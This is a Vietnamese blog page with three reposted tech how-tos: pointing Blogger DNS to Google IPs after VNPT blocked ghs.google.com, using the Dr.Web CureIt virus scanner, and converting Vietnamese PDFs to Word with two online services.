Vấn đề của sự việc lần này là VNPT đã chặn IP liên quan đến DNS ghs.google.com. chứ không chỉ chặn riêng đuôi .blogspot.com như trước.Và lúc này nhiều bạn sẽ ngỡ ra là trong DNS của chúng ta, hầu hết mọi nguời dùng ghs.google.com cho các subdomain của mình. Mặc dù domain chính chúng ta trỏ bằng IP của google nhưng khi truy cập nó sẽ dần về www.domain.com , và subdomain www chúng ta đang dùng ghs.google.com như thế này.

Cách khắc phục là:
Chúng ta sẽ dùng IP của google để DNS cho cả domain chính và sub domain như thế này!
IP của google các bạn có thể dùng 1 trong 4 hoặc cả 4 IP sau:
216.239.32.21
216.239.34.21
216.239.36.21
216.239.38.21

Mình đã thử và kết quả là các bạn đang đọc đựơc bài viết này ở KenjiVN blog ^_^
Một bằng chứng cụ thể nửa các cậu có thể quan sát kết quả thống kê online của một site của mình sau khi fix:

Các bạn sẽ thấy...cùng một thời điểm trong ngày. Luợt online hôm này đã là 75, gần như gấp đôi hôm qua, chỉ max 42
Hi vọng các bạn củng sẽ thành công với phương pháp này!

Còn một việc nữa. Mình nghĩ việc chặn này của VNPT củng không hẳn là tin xấu với các webmaster và bloger đâu. Một số website và blog muốn giới hạn lượng truy câp từ Việt Nam ( Bình thừơng là chưa có cách nào để chặn ip từ một nuớc bằng Bloger cả ) bây h đã có thể yên tâm hơn chút rồi
Một lần nửa cảm ơn mọi nguời vì đã đọc bài viết này.
Có thắc mắc gì xin commnent vào bên dưới.

Nguồn: DHN Blog

Bạn có chắc là máy tính của mình không bị nhiễm virus ? Ngay cả khi máy tính đang sử dụng một trình bảo mật mạnh mẽ. Một sự thật là không phải các phần mềm bảo mật đều có thể bảo đảm an toàn 100% cho máy tính, mà vẫn có trường hợp các loại mã độc hay virus gây hại có thể “qua mắt” và xâm nhập vào hệ thống. Nếu bạn đang nghi ngờ máy tính có thể đã bị nhiễm thì làm sao có thể loại bỏ chúng một cách an toàn?

Trong trường hợp đó thì Dr.Web CureIt là một giải pháp hoàn hảo. Dr.Web CureIt là ứng dụng tiện ích quét và diệt virus miễn phí của hãng bảo mật danh tiếng Dr.Web. Tiện ích này cho phép người dùng quét và kiểm tra toàn bộ hệ thống để đảm bảo máy tính của mình có “sạch” hay không. Nếu phát hiện ra phần mềm gây hại ẩn chứa trên máy tính, Dr.Web sẽ xử lý một cách triệt để.

Điểm nổi bật nhất của Dr.Web CureIt là có thể sử dụng mà không cần cài đặt, và trang bị chế độ hoạt động độc lập, cho phép vô hiệu hóa mọi tiến trình, kể cả tiến trình của virus trên hệ thống, từ đó dễ dàng loại bỏ những loại virus cứng đầu nhất “ăn” sâu vào hệ thống của bạn.

Sau khi tải về, bạn kích đôi chuột vào tập tin .exe để kích hoạt sử dụng phần mềm mà không cần cài đặt.

Một tùy chọn môi trường Enhanced Protection Mode (EPM) xuất hiện, bạn nhấn OK để phần mềm sử dụng môi trường EPM tạm thời vô hiệu hóa các tiến trình đang chạy trên hệ thống. Nhấn Cancel để từ chối.

Khi lựa chọn xong, một hộp thoại mời mua bản quyền Dr.Web CureIt sẽ xuất hiện trên màn hình. Nếu chỉ sử dụng 1 lần thì bạn nhấn No để từ chối.

Cửa số giao diện thao tác nhanh của Dr.Web CureIt xuất hiện với 2 dòng lệnh là Start và Update. Bạn nhấn Start để bắt đầu sử dụng ngay phần mềm, còn Update là lựa chọn cập nhật hệ thống dữ liệu của phần mềm (nếu có kết nối internet thì bạn có thể nhấn vào Update để cập nhật trước khi bắt đầu sử dụng, còn không có thì bạn có thể bỏ qua lựa chọn này.)

Khi nhấn vào Start, một hộp thoại nêu các vấn đề mà Dr.Web CureIt sẽ thực hiện và cho bạn lựa chọn quét hệ thống ngay hay không. Nếu đồng ý bạn chọn Yes, còn không bạn nhấn No để từ chối. Lời khuyên từ chúng tôi là bạn nên chọn Yes.

Khi chọn Yes, Dr.Web CureIt sẽ chính thức khởi động và tự động tiến trình quét toàn bộ hệ thống. Bạn có thể can thiệp quá trình này bằng cách nhấn vào các nút tùy chọn phía phải giao diện phần mềm

Giao diện chính của Dr.Web CureIt tương đối đơn giản và không rối mắt. Với 2 tab tùy chọn cơ bản. Tab Scan bao gồm 3 tùy chọn quét hệ thống, mỗi tùy chọn sẽ có các thông tin về quy trình quét mà phần mềm sẽ thực hiện. Với tùy chọn quét Custom scan, bạn có thể thiết lập vị trí ổ đĩa mà bạn sẽ yêu cầu Dr.Web CureIt tiến hành quét. Bạn nhấn chọn một ổ đĩa và nhấn chọn Start Scanning để bắt đầu quét.

Tab Statistics bao gồm các thống kê về các chủng loại mã độc mà hệ thống đã nhiễm và được Dr.Web CureIt tiêu diệt.

Bạn có thể thiết lập một số các tùy chọn tùy chỉnh cho Dr.Web CureIt bằng cách nhấn vào Setting trên menu giao diện phần mềm. Sau khi thiết lập xong, bạn nhấn Apply và sau đó là OK để lưu lại thiết lập.

Trên đây là vài giới thiệu về tính năng và trãi nghiệm về phần mềm Dr.Web CureIt, mời bạn hãy tải về và trải nghiệm cùng chúng tôi nhé. Phần mềm hoạt động trên Windows 8/7/Vista/XP, tải về tại đây.

Hiện nay có khá nhiều ứng dụng miễn phí hoặc trả phí và các các dịch vụ trực tuyến hỗ trợ người dùng chuyển đổi các tập tin PDF sang các định dạng văn bản thông dụng để có thể dễ dàng sao chép và chỉnh sửa. Tuy nhiên, nhược điểm các các phần mềm và dịch vụ này là chỉ tương thích với các tập tin PDF ngôn ngữ Tiếng Anh, đối với các tập tin văn bản Tiếng Việt chúng ta rất khó để chuyển đổi và thường sẽ bị lỗi font rất khó phục hồi sau khi chuyển đổi.

Hôm nay GenK xin giới thiệu đến các bạn 2 dịch vụ trực tuyến hỗ trợ rất tốt trong việc chuyển đổi, nhận dạng và sô hóa các tập tin PDF Tiếng Việt dễ dàng.

1 - PDFtoWORD

Đầu tiên, bạn truy cập vào trang chủ của dịch vụ này tại địa chỉ http://pdftoword.us . Lúc này trên trang chủ của dịch vụ bạn sẽ thấy xuất hiện 3 vùng thông tin nhưng ta chỉ cần chú ý đến 2 vùng dành cho dịch vụ miễn phí, thứ nhất là dành cho dịch vụ trực tuyến, còn thứ hai là thông tin về phần mềm cùng chức năng dùng để sử dụng trên máy không có kết nối internet.

Trong bài viết này ta chủ yếu sử dụng dịch vụ trực tuyến, do đó bạn nhấn nút Browse và tìm đến thư mục lưu trữ tập tin PDF định chuyển đổi và nhấn nút Open để chọn.

Sau khi chọn xong tập tin PDF định chuyển, bạn tiến hành lựa chọn định dạng tập tin xuất ra sau khi chuyển đổi, trong trường hợp này tốt nhất nên chọn định dạng Word. Trong trường hợp bạn chỉ muốn trích xuất văn bản đơn thì thì thay vì chọn định dạng xuất và Word thì bạn sẽ chọn Text hoặc muốn trích xuất ra thành một tập tin ảnh thì chọn Image.

Ngoài ra còn có thêm tùy chọn Get result as Zip-archive dùng để nén tập tin sau khi chuyển đổi để giảm dung lượng tập tin nhằm giảm thời gian tải về.

Sau cùng là nhấn nút Convert để bắt đầu quá trình chuyển đổi và đợi trong giây lát để dịch vụ tiến hành chuyển đổi. Khi quá trình hoàn tất, bạn chỉ việc nhấn nút Save và chọn nơi lưu trữ là được.

2 - SOHOA

Đây là dịch vụ nhận dạng văn bản của Việt Nam nên làm việc khá tốt với các tập tin PDF bằng Tiếng Việt với khả năng nhận dạng đạt độ chính xác lên đến 90%. Để sử dụng dịch vụ, bạn tiến hành truy cập vào trang chủ tại địa chỉ http://www.sohoa.com.vn/FreeService.aspx

Tuy đây là dịch vụ miễn phí tuy nhiên lại có giới hạn trong việc giới hạn người dùng chỉ được số hóa tối đa 5 trang tài liệu. Đối với các tập tin PDF lớn, bạn có thể tìm trên internet các ứng dụng cắt hoặc chia nhỏ tập tin PDF.

Trên trang chủ của SOHOA, bạn bấm nút Chọn tài liệu rồi tiến hành duyệt đến thư mục chứa tập tin PDF cần chuyển đổi và chọn tập tin đó rồi nhấn nút Open.

Tiếp theo là bạn nhập địa chỉ email của bạn vào ô Email nhận kết quả chuyển đổi để dịch vụ tự động chuyển tài liệu sau khi chuyển đổi thẳng đến địa chỉ email của bạn để lưu trữ.

Sau cùng là nhấn nút SOHOA để thực hiện quá trình chuyển đổi. Quá trình chuyển đổi diễn ra khá nhanh, chỉ mất vài giây để chuyển đổi xong một trang tài liệu A4. Sau khi thành công, bạn tiến hành đăng nhập vào hộp thư đã cung cấp để nhận kết quả.

Với 2 dịch vụ trực tuyến này phần nào đã giúp người dùng Việt Nam đặc biệt là các bạn sinh viên có thể sử dụng các tài liệu bằng định dạng PDF linh hoạt hơn trước rất nhiều.

Chia sẻ thông tin

Search This Blog

Wednesday, June 27, 2012

Tuesday, June 26, 2012

Monday, June 25, 2012

Thursday, June 21, 2012

Wednesday, June 20, 2012

Saturday, June 16, 2012

Thursday, June 14, 2012

Wednesday, June 13, 2012

Tuesday, June 12, 2012

Liên kết mạng xã hội

Bài đăng phổ biến

Total Pageviews

Labels

Lưu trữ blog